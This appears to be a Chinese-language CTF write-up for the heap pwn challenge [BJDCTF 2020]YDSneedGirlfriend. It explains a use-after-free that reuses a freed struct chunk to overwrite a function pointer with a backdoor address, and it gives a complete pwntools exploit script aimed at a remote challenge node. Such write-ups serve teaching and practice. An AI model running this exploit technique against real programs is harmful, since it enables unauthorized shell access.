0%

1

2025-11-03 12:57By
zutomayo1
UAFDoubleFree

Problem: [BJDCTF 2020]YDSneedGirlfriend

思路

  • 解题大致思路
    NSSIMAGE
    建立两个girlfriend再删掉,其名字堆块的大小要与结构堆块不同,结构堆块为0x10,则名字堆块必须超过这个值。然后再申请第三个堆块,大小与结构体堆块相同。我这里是tcachebin,和题目的fastbin类似,都会选取大小合适的堆块来分配。此时main_arena->chunk2_struct->chunk1_struct.所以会分配chunk2_struct给chunk3的结构堆块,分配chunk1_struct给其名字堆块。
    NSSIMAGE
    结构堆块是一个函数地址
    NSSIMAGE
    在print的时候会调用。故我们修改结构堆块为backdoor函数,再print,由于存在uaf漏洞,就会getshell

EXP

  • 具体攻击代码
from pwn import * context.arch = "amd64" context.log_level = "debug" context.terminal = ['konsole', '--noclose', '-e'] p = remote("node4.anna.nssctf.cn", 28068) #p = process('./pwn') backdoor = 0x400B9C def add(size,name): p.recvuntil(b'Your choice :') p.sendline(b'1') p.recvuntil(b'Her name size is :') p.sendline(str(size).encode()) p.recvuntil(b'Her name is :') p.sendline(name) def delete(index): p.recvuntil(b'Your choice :') p.sendline(b'2') p.recvuntil(b'Index :') p.sendline(str(index).encode()) def show(index): p.recvuntil(b'Your choice :') p.sendline(b'3') p.recvuntil(b'Index :') p.sendline(str(index).encode()) add(0x20,b'a'*8) add(0x20,b'b'*8) delete(0) delete(1) add(0x10,p64(backdoor)) show(0) p.interactive()

总结

  • 对该题的考点总结
还没有人赞赏,快来当第一个赞赏的人吧!
  
© 著作权归作者所有
加载失败
广告
×
评论区
添加新评论